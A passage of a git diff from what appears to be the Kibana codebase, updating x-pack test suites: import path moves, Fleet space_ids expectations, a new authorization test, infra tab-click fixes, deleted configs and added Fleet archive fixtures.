if (params.body) { + res = await st[method](url).send(params.body).set(headers); + } else { + res = await st[method](url).set(headers); + } + + // supertest doesn't throw on http errors + if (res?.status !== 200) { + throw new ApmApiError(res, endpoint); + } + + return res; + }; +} + +type ApiErrorResponse = Omit & { + body: { + statusCode: number; + error: string; + message: string; + attributes: object; + }; +}; + +export type ApmApiSupertest = ReturnType; + +export class ApmApiError extends Error { + res: ApiErrorResponse; + + constructor(res: request.Response, endpoint: string) { + super( + `Unhandled ApmApiError. +Status: "${res.status}" +Endpoint: "${endpoint}" +Body: ${JSON.stringify(res.body)}` + ); + + this.res = res; + } +} + +export interface SupertestReturnType { + status: number; + body: CombinedAPIRequest; +} diff --git a/x-pack/test/common/utils/server_route_repository/create_admin_service_from_repository.ts b/x-pack/test/common/utils/server_route_repository/create_admin_service_from_repository.ts index bdecb6a75dba9..ad2f8137f3291 100644 --- a/x-pack/test/common/utils/server_route_repository/create_admin_service_from_repository.ts +++ b/x-pack/test/common/utils/server_route_repository/create_admin_service_from_repository.ts @@ -18,8 +18,8 @@ import supertest from 'supertest'; import { RoleScopedSupertestProvider, SupertestWithRoleScope, -} from '../../../api_integration/deployment_agnostic/services/role_scoped_supertest'; -import { CustomRoleScopedSupertestProvider } from '../../../api_integration/deployment_agnostic/services/custom_role_scoped_supertest'; +} from '@kbn/test-suites-xpack-platform/api_integration_deployment_agnostic/services/role_scoped_supertest'; +import { CustomRoleScopedSupertestProvider } from '@kbn/test-suites-xpack-platform/api_integration_deployment_agnostic/services/custom_role_scoped_supertest'; type MaybeOptional> = RequiredKeys extends never ? [TArgs] | [] diff --git a/x-pack/test/fleet_api_integration/apis/agent_policy/__snapshots__/agent_policy.snap b/x-pack/test/fleet_api_integration/apis/agent_policy/__snapshots__/agent_policy.snap index ac971448c088a..15fb5e4ad29b1 100644 --- a/x-pack/test/fleet_api_integration/apis/agent_policy/__snapshots__/agent_policy.snap +++ b/x-pack/test/fleet_api_integration/apis/agent_policy/__snapshots__/agent_policy.snap @@ -10,6 +10,9 @@ Object { "namespace": "default", "revision": 1, "schema_version": "1.1.1", + "space_ids": Array [ + "default", + ], "status": "active", "unprivileged_agents": 0, "updated_by": "elastic", @@ -36,6 +39,9 @@ Object { "title": "System", }, "revision": 1, + "spaceIds": Array [ + "default", + ], "updated_by": "elastic", }, ], diff --git a/x-pack/test/fleet_api_integration/apis/agent_policy/agent_policy.ts b/x-pack/test/fleet_api_integration/apis/agent_policy/agent_policy.ts index a32242442023c..58ca0457d47f7 100644 --- a/x-pack/test/fleet_api_integration/apis/agent_policy/agent_policy.ts +++ b/x-pack/test/fleet_api_integration/apis/agent_policy/agent_policy.ts @@ -712,7 +712,8 @@ export default function (providerContext: FtrProviderContext) { updated_by: 'elastic', package_policies: [], is_protected: false, - space_ids: [], + space_ids: ['default'], + supports_agentless: false, }); }); @@ -1221,7 +1222,7 @@ export default function (providerContext: FtrProviderContext) { inactivity_timeout: 1209600, package_policies: [], is_protected: false, - space_ids: [], + space_ids: ['default'], }); }); @@ -1282,7 +1283,7 @@ export default function (providerContext: FtrProviderContext) { inactivity_timeout: 1209600, package_policies: [], is_protected: false, - space_ids: [], + space_ids: ['default'], }); }); @@ -1445,7 +1446,7 @@ export default function (providerContext: FtrProviderContext) { package_policies: [], monitoring_enabled: ['logs', 'metrics'], inactivity_timeout: 1209600, - space_ids: [], + space_ids: ['default'], }); const listResponseAfterUpdate = await fetchPackageList(); @@ -1504,7 +1505,7 @@ export default function (providerContext: FtrProviderContext) { inactivity_timeout: 1209600, package_policies: [], is_protected: false, - space_ids: [], + space_ids: ['default'], overrides: { agent: { logging: { @@ -1622,7 +1623,7 @@ export default function (providerContext: FtrProviderContext) { inactivity_timeout: 1209600, package_policies: [], is_protected: false, - space_ids: [], + space_ids: ['default'], required_versions: [ { version: '9.0.0', diff --git a/x-pack/test/fleet_api_integration/apis/agent_policy/agent_policy_with_agents_setup.ts b/x-pack/test/fleet_api_integration/apis/agent_policy/agent_policy_with_agents_setup.ts index 53c5d87b24b03..83e4fda7b053d 100644 --- a/x-pack/test/fleet_api_integration/apis/agent_policy/agent_policy_with_agents_setup.ts +++ b/x-pack/test/fleet_api_integration/apis/agent_policy/agent_policy_with_agents_setup.ts @@ -100,7 +100,7 @@ export default function (providerContext: FtrProviderContext) { const name = `test-${Date.now()}`; const res = await supertest - .post(`/s/test/api/fleet/agent_policies?sys_monitoring=true`) + .post(`/api/fleet/agent_policies?sys_monitoring=true`) .set('kbn-xsrf', 'xxxx') .send({ name, diff --git a/x-pack/test/fleet_api_integration/apis/epm/get.ts b/x-pack/test/fleet_api_integration/apis/epm/get.ts index 6f1edcd6aca10..bd7cdbc1ff192 100644 --- a/x-pack/test/fleet_api_integration/apis/epm/get.ts +++ b/x-pack/test/fleet_api_integration/apis/epm/get.ts @@ -195,6 +195,13 @@ export default function (providerContext: FtrProviderContext) { expect(packages[0].dataStreams[0].name).to.be('logs-apache.access-*'); }); }); + it('rejects user does not have access to data streams', async function () { + const response = await supertestWithoutAuth + .get(`/api/fleet/epm/packages/installed?showOnlyActiveDataStreams=true`) + .auth(testUsers.fleet_all_int_all.username, testUsers.fleet_all_int_all.password) + .expect(403); + expect(response.body.message).to.contain('Unauthorized to query fleet datastreams'); + }); it('returns a 404 for a package that do not exists', async function () { await supertest.get('/api/fleet/epm/packages/notexists/99.99.99').expect(404); }); diff --git a/x-pack/test/fleet_api_integration/apis/fleet_setup.ts b/x-pack/test/fleet_api_integration/apis/fleet_setup.ts index 2b474ea99532f..08e700c3224b0 100644 --- a/x-pack/test/fleet_api_integration/apis/fleet_setup.ts +++ b/x-pack/test/fleet_api_integration/apis/fleet_setup.ts @@ -8,7 +8,7 @@ import expect from '@kbn/expect'; import { v4 as uuidV4 } from 'uuid'; import { INGEST_SAVED_OBJECT_INDEX } from '@kbn/core-saved-objects-server'; -import { LEGACY_PACKAGE_POLICY_SAVED_OBJECT_TYPE } from '@kbn/fleet-plugin/common/constants'; +import { PACKAGE_POLICY_SAVED_OBJECT_TYPE } from '@kbn/fleet-plugin/common/constants'; import { SearchTotalHits } from '@elastic/elasticsearch/lib/api/types'; import { FtrProviderContext } from '../../api_integration/ftr_provider_context'; @@ -72,6 +72,7 @@ export default function (providerContext: FtrProviderContext) { describe('upgrade managed package policies', () => { const apiClient = new SpaceTestApiClient(supertest); before(async () => { + await apiClient.setup(); const pkgRes = await apiClient.getPackage({ pkgName: 'synthetics', }); @@ -96,12 +97,13 @@ export default function (providerContext: FtrProviderContext) { operations: [...new Array(10).keys()].flatMap((_, index) => [ { create: { - _id: `${LEGACY_PACKAGE_POLICY_SAVED_OBJECT_TYPE}:${uuidV4()}`, + _id: `${PACKAGE_POLICY_SAVED_OBJECT_TYPE}:${uuidV4()}`, }, }, { - type: LEGACY_PACKAGE_POLICY_SAVED_OBJECT_TYPE, - [LEGACY_PACKAGE_POLICY_SAVED_OBJECT_TYPE]: { + type: PACKAGE_POLICY_SAVED_OBJECT_TYPE, + namespaces: ['default'], + [PACKAGE_POLICY_SAVED_OBJECT_TYPE]: { name: `test-${index}`, policy_ids: [agentPolicyRes.item.id], inputs: [], @@ -114,7 +116,7 @@ export default function (providerContext: FtrProviderContext) { ]), }); - await apiClient.getPackage({ + return await apiClient.getPackage({ pkgName: 'synthetics', }); }); @@ -130,12 +132,12 @@ export default function (providerContext: FtrProviderContext) { bool: { must: { term: { - [`${LEGACY_PACKAGE_POLICY_SAVED_OBJECT_TYPE}.package.version`]: '1.2.1', + [`${PACKAGE_POLICY_SAVED_OBJECT_TYPE}.package.version`]: '1.2.1', }, }, filter: { term: { - [`${LEGACY_PACKAGE_POLICY_SAVED_OBJECT_TYPE}.package.name`]: 'synthetics', + [`${PACKAGE_POLICY_SAVED_OBJECT_TYPE}.package.name`]: 'synthetics', }, }, }, diff --git a/x-pack/test/fleet_api_integration/apis/outputs/crud.ts b/x-pack/test/fleet_api_integration/apis/outputs/crud.ts index 2a96cdf446663..0b6c6bb9adf63 100644 --- a/x-pack/test/fleet_api_integration/apis/outputs/crud.ts +++ b/x-pack/test/fleet_api_integration/apis/outputs/crud.ts @@ -52,6 +52,7 @@ export default function (providerContext: FtrProviderContext) { id: 'fleet-default-settings', attributes: { output_secret_storage_requirements_met: true, + use_space_awareness_migration_status: 'success', }, overwrite: true, }); @@ -67,6 +68,7 @@ export default function (providerContext: FtrProviderContext) { id: 'fleet-default-settings', attributes: { output_secret_storage_requirements_met: false, + use_space_awareness_migration_status: 'success', }, overwrite: true, }); diff --git a/x-pack/test/fleet_api_integration/apis/settings/enrollment.ts b/x-pack/test/fleet_api_integration/apis/settings/enrollment.ts index d69051b6140a9..f9539c1e0726e 100644 --- a/x-pack/test/fleet_api_integration/apis/settings/enrollment.ts +++ b/x-pack/test/fleet_api_integration/apis/settings/enrollment.ts @@ -68,14 +68,14 @@ export default function (providerContext: FtrProviderContext) { is_default_fleet_server: true, is_managed: false, name: 'Fleet Server Policy', - space_ids: [], + space_ids: ['default'], }, { id: 'fleet-server-policy-2', is_default_fleet_server: false, is_managed: false, name: 'Fleet Server Policy 2', - space_ids: [], + space_ids: ['default'], }, ], has_active: true, @@ -133,7 +133,7 @@ export default function (providerContext: FtrProviderContext) { is_default_fleet_server: false, is_managed: false, name: 'Fleet Server Policy 2', - space_ids: [], + space_ids: ['default'], }, ], has_active: true, diff --git a/x-pack/test/functional/apps/discover/group2/feature_controls/discover_security.ts b/x-pack/test/functional/apps/discover/group2/feature_controls/discover_security.ts index 0cfb8e58d2ff1..8b7c9a03c9465 100644 --- a/x-pack/test/functional/apps/discover/group2/feature_controls/discover_security.ts +++ b/x-pack/test/functional/apps/discover/group2/feature_controls/discover_security.ts @@ -8,8 +8,8 @@ import { DISCOVER_APP_LOCATOR } from '@kbn/discover-plugin/common'; import expect from '@kbn/expect'; import { decompressFromBase64 } from 'lz-string'; -import { FtrProviderContext } from '../../../../ftr_provider_context'; -import { getSavedQuerySecurityUtils } from '../../../saved_query_management/utils/saved_query_security'; +import { getSavedQuerySecurityUtils } from '@kbn/test-suites-xpack-platform/functional/apps/saved_query_management/utils/saved_query_security'; +import { FtrProviderContext } from '@kbn/test-suites-xpack-platform/functional/ftr_provider_context'; export default function (ctx: FtrProviderContext) { const { getPageObjects, getService } = ctx; diff --git a/x-pack/test/functional/apps/infra/node_details.ts b/x-pack/test/functional/apps/infra/node_details.ts index 1583df51566a1..338f6f9493f94 100644 --- a/x-pack/test/functional/apps/infra/node_details.ts +++ b/x-pack/test/functional/apps/infra/node_details.ts @@ -642,7 +642,11 @@ export default ({ getPageObjects, getService }: FtrProviderContext) => { describe('Overview Tab', () => { before(async () => { - await pageObjects.assetDetails.clickOverviewTab(); + // Close the metric popover if it is open + await browser.pressKeys(browser.keys.ESCAPE); + const overviewTab = await pageObjects.assetDetails.getOverviewTab(); + // Use clickMouseButton to ensure the tab is visible + await overviewTab.clickMouseButton(); }); [ @@ -820,7 +824,11 @@ export default ({ getPageObjects, getService }: FtrProviderContext) => { describe('Metadata Tab', () => { before(async () => { - await pageObjects.assetDetails.clickMetadataTab(); + // Close the metric popover if it is open + await browser.pressKeys(browser.keys.ESCAPE); + const metadataTab = await pageObjects.assetDetails.getMetadataTab(); + // Use clickMouseButton to ensure the tab is visible + await metadataTab.clickMouseButton(); }); it('should show metadata table', async () => { diff --git a/x-pack/test/functional/apps/ingest_pipelines/feature_controls/ingest_pipelines_security.ts b/x-pack/test/functional/apps/ingest_pipelines/feature_controls/ingest_pipelines_security.ts index fc7efb0b9f51a..f8c8bc8bb1808 100644 --- a/x-pack/test/functional/apps/ingest_pipelines/feature_controls/ingest_pipelines_security.ts +++ b/x-pack/test/functional/apps/ingest_pipelines/feature_controls/ingest_pipelines_security.ts @@ -6,8 +6,8 @@ */ import expect from '@kbn/expect'; +import { testEmbeddedConsole } from '@kbn/test-suites-xpack-platform/functional/apps/dev_tools/embedded_console'; import { FtrProviderContext } from '../../../ftr_provider_context'; -import { testEmbeddedConsole } from '../../dev_tools/embedded_console'; export default function ({ getPageObjects, getService }: FtrProviderContext) { const kibanaServer = getService('kibanaServer'); diff --git a/x-pack/test/functional/apps/license_management/feature_controls/license_management_security.ts b/x-pack/test/functional/apps/license_management/feature_controls/license_management_security.ts index 89d2ade834235..d8f00cbda7c24 100644 --- a/x-pack/test/functional/apps/license_management/feature_controls/license_management_security.ts +++ b/x-pack/test/functional/apps/license_management/feature_controls/license_management_security.ts @@ -55,7 +55,7 @@ export default function ({ getPageObjects, getService }: FtrProviderContext) { }); }); - describe('global dashboard read with license_management_user and upgrade assistant', () => { + describe('global dashboard read with license_management_user', () => { before(async () => { await security.testUser.setRoles(['global_dashboard_read', 'license_management_user']); }); @@ -67,15 +67,15 @@ export default function ({ getPageObjects, getService }: FtrProviderContext) { expect(links.map((link) => link.text)).to.contain('Stack Management'); }); - describe('[SkipCloud] global dashboard with license management user and upgrade assistant : skip cloud', function () { + describe('[SkipCloud] global dashboard with license management user : skip cloud', function () { this.tags(['skipCloud', 'skipFIPS']); - it('should render the "Stack" section with License Management and Upgrade Assistant', async () => { + it('should render the "Stack" section with License Management', async () => { await PageObjects.common.navigateToApp('management'); const sections = await managementMenu.getSections(); expect(sections).to.have.length(3); expect(sections[2]).to.eql({ sectionId: 'stack', - sectionLinks: ['license_management', 'upgrade_assistant'], + sectionLinks: ['license_management'], }); }); }); diff --git a/x-pack/test/functional/apps/reporting_management/__snapshots__/report_listing.snap b/x-pack/test/functional/apps/reporting_management/__snapshots__/report_listing.snap deleted file mode 100644 index 1b400a835285a..0000000000000 --- a/x-pack/test/functional/apps/reporting_management/__snapshots__/report_listing.snap +++ /dev/null @@ -1,66 +0,0 @@ -// Jest Snapshot v1, https://goo.gl/fbAQLP - -exports[`reporting management app Listing of Reports Displays types of report jobs 1`] = ` -Array [ - Object { - "actions": "", - "createdAt": "2021-07-19 @ 10:29 PM", - "report": "report jobtype: csv", - "status": "Done, warnings detected", - }, - Object { - "actions": "", - "createdAt": "2021-07-19 @ 06:47 PM", - "report": "report jobtype: csv_searchsource", - "status": "Done", - }, - Object { - "actions": "", - "createdAt": "2021-07-19 @ 06:46 PM", - "report": "Discover search [2021-07-19T11:46:00.132-07:00]", - "status": "Done, warnings detected", - }, - Object { - "actions": "", - "createdAt": "2021-07-19 @ 06:44 PM", - "report": "Discover search [2021-07-19T11:44:48.670-07:00]", - "status": "Done, warnings detected", - }, - Object { - "actions": "", - "createdAt": "2021-07-19 @ 06:41 PM", - "report": "[Flights] Global Flight Dashboard", - "status": "Pending", - }, - Object { - "actions": "", - "createdAt": "2021-07-19 @ 06:41 PM", - "report": "[Flights] Global Flight Dashboard", - "status": "Failed", - }, - Object { - "actions": "", - "createdAt": "2021-07-19 @ 06:41 PM", - "report": "[Flights] Global Flight Dashboard", - "status": "Done, warnings detected", - }, - Object { - "actions": "", - "createdAt": "2021-07-19 @ 06:38 PM", - "report": "[Flights] Global Flight Dashboard", - "status": "Done, warnings detected", - }, - Object { - "actions": "", - "createdAt": "2021-07-19 @ 06:38 PM", - "report": "[Flights] Global Flight Dashboard", - "status": "Done", - }, - Object { - "actions": "", - "createdAt": "2021-07-19 @ 06:38 PM", - "report": "[Flights] Global Flight Dashboard", - "status": "Done", - }, -] -`; diff --git a/x-pack/test/functional/apps/search_playground/playground_overview.ess.ts b/x-pack/test/functional/apps/search_playground/playground_overview.ess.ts index 909158bb82b46..419bed905f9a2 100644 --- a/x-pack/test/functional/apps/search_playground/playground_overview.ess.ts +++ b/x-pack/test/functional/apps/search_playground/playground_overview.ess.ts @@ -12,7 +12,7 @@ import { MachineLearningCommonAPIProvider } from '../../services/ml/common_api'; import { createLlmProxy, LlmProxy, -} from '../../../observability_ai_assistant_api_integration/common/create_llm_proxy'; +} from '../../../api_integration/deployment_agnostic/apis/observability/ai_assistant/utils/create_llm_proxy'; const esArchiveIndex = 'src/platform/test/api_integration/fixtures/es_archiver/index_patterns/basic_index'; diff --git a/x-pack/test/functional/apps/search_playground/utils/create_openai_connector.ts b/x-pack/test/functional/apps/search_playground/utils/create_openai_connector.ts index ed8c81eda0491..ddbe83605454f 100644 --- a/x-pack/test/functional/apps/search_playground/utils/create_openai_connector.ts +++ b/x-pack/test/functional/apps/search_playground/utils/create_openai_connector.ts @@ -6,7 +6,7 @@ */ import type SuperTest from 'supertest'; -import { LlmProxy } from '../../../../observability_ai_assistant_api_integration/common/create_llm_proxy'; +import { LlmProxy } from '../../../../api_integration/deployment_agnostic/apis/observability/ai_assistant/utils/create_llm_proxy'; export async function createOpenAIConnector({ supertest, diff --git a/x-pack/test/functional/apps/snapshot_restore/config.ts b/x-pack/test/functional/apps/snapshot_restore/config.ts deleted file mode 100644 index d0d07ff200281..0000000000000 --- a/x-pack/test/functional/apps/snapshot_restore/config.ts +++ /dev/null @@ -1,17 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. - */ - -import { FtrConfigProviderContext } from '@kbn/test'; - -export default async function ({ readConfigFile }: FtrConfigProviderContext) { - const functionalConfig = await readConfigFile(require.resolve('../../config.base.js')); - - return { - ...functionalConfig.getAll(), - testFiles: [require.resolve('.')], - }; -} diff --git a/x-pack/test/functional/apps/upgrade_assistant/config.ts b/x-pack/test/functional/apps/upgrade_assistant/config.ts deleted file mode 100644 index d0d07ff200281..0000000000000 --- a/x-pack/test/functional/apps/upgrade_assistant/config.ts +++ /dev/null @@ -1,17 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. - */ - -import { FtrConfigProviderContext } from '@kbn/test'; - -export default async function ({ readConfigFile }: FtrConfigProviderContext) { - const functionalConfig = await readConfigFile(require.resolve('../../config.base.js')); - - return { - ...functionalConfig.getAll(), - testFiles: [require.resolve('.')], - }; -} diff --git a/x-pack/test/functional/apps/user_profiles/config.ts b/x-pack/test/functional/apps/user_profiles/config.ts deleted file mode 100644 index d0d07ff200281..0000000000000 --- a/x-pack/test/functional/apps/user_profiles/config.ts +++ /dev/null @@ -1,17 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. - */ - -import { FtrConfigProviderContext } from '@kbn/test'; - -export default async function ({ readConfigFile }: FtrConfigProviderContext) { - const functionalConfig = await readConfigFile(require.resolve('../../config.base.js')); - - return { - ...functionalConfig.getAll(), - testFiles: [require.resolve('.')], - }; -} diff --git a/x-pack/test/functional/apps/watcher/config.ts b/x-pack/test/functional/apps/watcher/config.ts deleted file mode 100644 index d0d07ff200281..0000000000000 --- a/x-pack/test/functional/apps/watcher/config.ts +++ /dev/null @@ -1,17 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. - */ - -import { FtrConfigProviderContext } from '@kbn/test'; - -export default async function ({ readConfigFile }: FtrConfigProviderContext) { - const functionalConfig = await readConfigFile(require.resolve('../../config.base.js')); - - return { - ...functionalConfig.getAll(), - testFiles: [require.resolve('.')], - }; -} diff --git a/x-pack/test/functional/config.ccs.ts b/x-pack/test/functional/config.ccs.ts index 59681a8c6d9f3..bc2df7690d66a 100644 --- a/x-pack/test/functional/config.ccs.ts +++ b/x-pack/test/functional/config.ccs.ts @@ -16,7 +16,7 @@ export default async function ({ readConfigFile }: FtrConfigProviderContext) { ...functionalConfig.getAll(), testFiles: [ - require.resolve('./apps/canvas'), + require.resolve('@kbn/test-suites-xpack-platform/functional/apps/canvas'), require.resolve('./apps/lens/group1'), require.resolve('./apps/remote_clusters/ccs/remote_clusters_index_management_flow'), require.resolve('./apps/rollup_job'), diff --git a/x-pack/test/functional/config.firefox.js b/x-pack/test/functional/config.firefox.js index d8474c5fc85d2..a9a39042ff664 100644 --- a/x-pack/test/functional/config.firefox.js +++ b/x-pack/test/functional/config.firefox.js @@ -11,11 +11,7 @@ export default async function ({ readConfigFile }) { return { ...chromeConfig.getAll(), - testFiles: [ - require.resolve('./apps/canvas'), - require.resolve('./apps/infra'), - require.resolve('./apps/watcher'), - ], + testFiles: [require.resolve('./apps/infra')], browser: { type: 'firefox', diff --git a/x-pack/test/functional/es_archives/fleet/agents/data.json b/x-pack/test/functional/es_archives/fleet/agents/data.json index 83721ff6ca32b..037ab9de08ac7 100644 --- a/x-pack/test/functional/es_archives/fleet/agents/data.json +++ b/x-pack/test/functional/es_archives/fleet/agents/data.json @@ -160,3 +160,59 @@ } } } + +{ + "type": "doc", + "value": { + "id": "fleet-agent-policies:policy1", + "index": ".kibana_ingest", + "source": { + "type": "fleet-agent-policies", + "namespaces": ["default"], + "fleet-agent-policies": { + "name": "Test policy", + "namespace": "default", + "description": "Policy 1", + "status": "active", + "is_default": true, + "is_protected": false, + "supports_agentless": false, + "monitoring_enabled": [ + "logs", + "metrics" + ], + "revision": 2, + "updated_at": "2020-05-07T19:34:42.533Z", + "updated_by": "system" + } + } + } +} + +{ + "type": "doc", + "value": { + "id": "fleet-agent-policies:policy2", + "index": ".kibana_ingest", + "source": { + "type": "fleet-agent-policies", + "namespaces": ["default"], + "fleet-agent-policies": { + "name": "Test policy 2", + "namespace": "default", + "description": "Policy 2", + "status": "active", + "is_default": true, + "is_protected": false, + "supports_agentless": false, + "monitoring_enabled": [ + "logs", + "metrics" + ], + "revision": 2, + "updated_at": "2020-05-07T19:34:42.533Z", + "updated_by": "system" + } + } + } +} diff --git a/x-pack/test/functional/es_archives/fleet/fleet_server/data.json b/x-pack/test/functional/es_archives/fleet/fleet_server/data.json index 32e3735981802..7cbee38a3a514 100644 --- a/x-pack/test/functional/es_archives/fleet/fleet_server/data.json +++ b/x-pack/test/functional/es_archives/fleet/fleet_server/data.json @@ -37,6 +37,45 @@ } } +{ + "type": "doc", + "value": { + "id": "fleet-agent-policies:policy1", + "index": ".kibana_ingest", + "source": { + "coreMigrationVersion": "8.8.0", + "created_at": "2024-04-22T22:04:43.422Z", + "fleet-agent-policies": { + "name": "Test policy", + "namespace": "default", + "description": "Test policy 1", + "download_source_id": "new-source", + "fleet_server_host_id": "second-host", + "inactivity_timeout": 1209600, + "is_default_fleet_server": false, + "is_managed": false, + "is_protected": false, + "monitoring_enabled": [ + "logs", + "metrics" + ], + "revision": 3, + "schema_version": "1.1.1", + "status": "active", + "updated_at": "2024-04-22T22:25:50.714Z", + "updated_by": "elastic" + }, + "managed": false, + "references": [ + ], + "type": "fleet-agent-policies", + "namespaces": ["default"], + "typeMigrationVersion": "10.1.0", + "updated_at": "2024-04-22T22:25:50.719Z" + } + } +} + { "type": "doc", "value": { @@ -73,6 +112,43 @@ } } +{ + "type": "doc", + "value": { + "id": "fleet-agent-policies:fleet-server-policy", + "index": ".kibana_ingest", + "source": { + "coreMigrationVersion": "8.8.0", + "created_at": "2024-04-22T22:04:43.422Z", + "fleet-agent-policies": { + "description": "Fleet Server policy generated by Kibana", + "inactivity_timeout": 1209600, + "is_default_fleet_server": true, + "is_managed": false, + "is_protected": false, + "monitoring_enabled": [ + "logs", + "metrics" + ], + "name": "Fleet Server Policy", + "namespace": "default", + "revision": 3, + "schema_version": "1.1.1", + "status": "active", + "updated_at": "2024-04-22T22:25:50.714Z", + "updated_by": "elastic" + }, + "managed": false, + "references": [ + ], + "type": "fleet-agent-policies", + "namespaces": ["default"], + "typeMigrationVersion": "10.1.0", + "updated_at": "2024-04-22T22:25:50.719Z" + } + } +} + { "type": "doc", "value": { @@ -109,6 +185,43 @@ } } +{ + "type": "doc", + "value": { + "id": "fleet-agent-policies:fleet-server-policy-2", + "index": ".kibana_ingest", + "source": { + "coreMigrationVersion": "8.8.0", + "created_at": "2024-04-22T22:04:43.422Z", + "fleet-agent-policies": { + "description": "Fleet Server policy generated by Kibana", + "inactivity_timeout": 1209600, + "is_default_fleet_server": false, + "is_managed": false, + "is_protected": false, + "monitoring_enabled": [ + "logs", + "metrics" + ], + "name": "Fleet Server Policy 2", + "namespace": "default", + "revision": 3, + "schema_version": "1.1.1", + "status": "active", + "updated_at": "2024-04-22T22:25:50.714Z", + "updated_by": "elastic" + }, + "managed": false, + "references": [ + ], + "type": "fleet-agent-policies", + "namespaces": ["default"], + "typeMigrationVersion": "10.1.0", + "updated_at": "2024-04-22T22:25:50.719Z" + } + } +} + { "type": "doc", "value": { @@ -154,6 +267,7 @@ }, "policy_id": "fleet-server-policy", "revision": 1, + "latest_revision": true, "updated_at": "2024-04-22T22:04:47.788Z", "updated_by": "elastic" }, @@ -167,6 +281,66 @@ } } +{ + "type": "doc", + "value": { + "id": "fleet-package-policies:fleet-server-package-policy", + "index": ".kibana_ingest", + "source": { + "coreMigrationVersion": "8.8.0", + "created_at": "2024-04-22T22:04:47.788Z", + "fleet-package-policies": { + "created_at": "2024-04-22T22:04:47.788Z", + "created_by": "elastic", + "enabled": true, + "inputs": [ + { + "compiled_input": { + "unused_key": "not_used" + }, + "enabled": true, + "policy_template": "fleet_server", + "streams": [ + ], + "type": "fleet-server", + "vars": { + "custom": { + "type": "yaml", + "value": "" + }, + "max_agents": { + "type": "integer" + }, + "max_connections": { + "type": "integer" + } + } + } + ], + "name": "fleet_server-1", + "namespace": "default", + "package": { + "name": "fleet_server", + "title": "Fleet Server", + "version": "1.5.0" + }, + "policy_ids": ["fleet-server-policy"], + "revision": 1, + "latest_revision": true, + "updated_at": "2024-04-22T22:04:47.788Z", + "updated_by": "elastic" + }, + "managed": false, + "references": [ + ], + "type": "fleet-package-policies", + "namespaces": ["default"], + "typeMigrationVersion": "10.8.0", + "updated_at": "2024-04-22T22:04:47.788Z" + } + } +} + { "type": "doc", "value": { @@ -212,6 +386,7 @@ }, "policy_id": "fleet-server-policy-2", "revision": 1, + "latest_revision": true, "updated_at": "2024-04-22T22:04:47.788Z", "updated_by": "elastic" }, @@ -225,6 +400,66 @@ } } +{ + "type": "doc", + "value": { + "id": "fleet-package-policies:fleet-server-package-policy-2", + "index": ".kibana_ingest", + "source": { + "coreMigrationVersion": "8.8.0", + "created_at": "2024-04-22T22:04:47.788Z", + "fleet-package-policies": { + "created_at": "2024-04-22T22:04:47.788Z", + "created_by": "elastic", + "enabled": true, + "inputs": [ + { + "compiled_input": { + "unused_key": "not_used" + }, + "enabled": true, + "policy_template": "fleet_server", + "streams": [ + ], + "type": "fleet-server", + "vars": { + "custom": { + "type": "yaml", + "value": "" + }, + "max_agents": { + "type": "integer" + }, + "max_connections": { + "type": "integer" + } + } + } + ], + "name": "fleet_server-2", + "namespace": "default", + "package": { + "name": "fleet_server", + "title": "Fleet Server", + "version": "1.5.0" + }, + "policy_ids": ["fleet-server-policy-2"], + "revision": 1, + "latest_revision": true, + "updated_at": "2024-04-22T22:04:47.788Z", + "updated_by": "elastic" + }, + "managed": false, + "references": [ + ], + "type": "fleet-package-policies", + "namespaces": ["default"], + "typeMigrationVersion": "10.8.0", + "updated_at": "2024-04-22T22:04:47.788Z" + } + } +} + { "type": "doc", "value": { @@ -444,4 +679,4 @@ "updated_at": "2024-04-22T22:07:16.226Z" } } -} \ No newline at end of file +} diff --git a/x-pack/test/functional/fixtures/kbn_archiver/maps.json b/x-pack/test/functional/fixtures/kbn_archiver/maps.json index b7fef81c49bfb..c790ff317970e 100644 --- a/x-pack/test/functional/fixtures/kbn_archiver/maps.json +++ b/x-pack/test/functional/fixtures/kbn_archiver/maps.json @@ -259,10 +259,10 @@ "title": "dash for tooltip filter action test", "version": 1 }, - "coreMigrationVersion": "8.0.0", + "coreMigrationVersion": "7.10.0", "id": "03c7cbf0-8eae-11e9-b674-69d1999628e4", "migrationVersion": { - "dashboard": "7.14.0" + "dashboard": "7.10.0" }, "references": [ { diff --git a/x-pack/test/functional/page_objects/asset_details.ts b/x-pack/test/functional/page_objects/asset_details.ts index 5f72f185c0559..50a7b5a9b0e08 100644 --- a/x-pack/test/functional/page_objects/asset_details.ts +++ b/x-pack/test/functional/page_objects/asset_details.ts @@ -170,6 +170,10 @@ export function AssetDetailsProvider({ getService }: FtrProviderContext) { }, // Metadata + async getMetadataTab() { + return testSubjects.find('infraAssetDetailsMetadataTab'); + }, + async clickMetadataTab() { return testSubjects.click('infraAssetDetailsMetadataTab'); }, diff --git a/x-pack/test/functional/page_objects/index.ts b/x-pack/test/functional/page_objects/index.ts index fffa76031d544..bc953738b1d23 100644 --- a/x-pack/test/functional/page_objects/index.ts +++ b/x-pack/test/functional/page_objects/index.ts @@ -12,8 +12,17 @@ import { SecurityPageObject } from '@kbn/test-suites-xpack-platform/functional/p import { CopySavedObjectsToSpacePageProvider } from '@kbn/test-suites-xpack-platform/functional/page_objects/copy_saved_objects_to_space_page'; import { SpaceSelectorPageObject } from '@kbn/test-suites-xpack-platform/functional/page_objects/space_selector_page'; import { RoleMappingsPageProvider } from '@kbn/test-suites-xpack-platform/functional/page_objects/role_mappings_page'; -import { CanvasPageProvider } from '@kbn/test-suites-xpack-platform/functional/page_objects/canvas_page'; import { ReportingPageObject } from '@kbn/test-suites-xpack-platform/functional/page_objects/reporting_page'; +import { WatcherPageObject } from '@kbn/test-suites-xpack-platform/functional/page_objects/watcher_page'; +import { SearchProfilerPageProvider } from '@kbn/test-suites-xpack-platform/functional/page_objects/search_profiler_page'; +import { CanvasPageProvider } from '@kbn/test-suites-xpack-platform/functional/page_objects/canvas_page'; +import { GisPageObject } from 